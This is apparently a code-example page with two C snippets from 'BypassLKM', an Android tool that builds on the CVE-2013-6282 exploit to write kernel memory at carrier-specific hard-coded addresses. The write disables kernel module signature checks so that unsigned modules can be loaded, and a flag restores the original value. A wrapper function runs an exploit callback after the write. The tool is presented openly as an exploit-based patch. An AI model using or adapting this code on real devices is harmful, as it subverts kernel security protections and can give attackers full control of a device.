Exemple #1
0
int main(int argc, char **argv) {
	char devicename[PROP_VALUE_MAX];
	char buildid[PROP_VALUE_MAX];
	unsigned long int patch, address;

	printf("\nBypassLKM patch by Jeboo\nusage: -r will restore kernel to original\nBig thanks to fi01 & CUBE for their awesome CVE-2013-6282 exploit source!\n\n");

	__system_property_get("ro.build.product", devicename);
	__system_property_get("ro.build.display.id", buildid);
	printf("ro.build.product=%s\n", devicename);
	printf("ro.build.displayid=%s\n", buildid);

	if (strstr(devicename, "vzw"))
		address = vzw_address;
	else
		address = att_address;

	printf("\nPatching kernel @ 0x%X: ", address);
	if ((argc > 1) && (argv[1][1] == 'r'))
	{
		printf("restoring original value.\n");
		patch = origvalue;
	}
	else
	{
		printf("unsigned modules can now be inserted.\n");
	        patch = value;
	}

        ptrace_write_value_at_address(address, (void *)patch);

	printf("Done.\n\n");

	exit(EXIT_SUCCESS);
}
Exemple #2
0
bool ptrace_run_exploit(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {
	bool success;

	ptrace_write_value_at_address(address, value);
	success = exploit_callback(user_data);

	return success;
}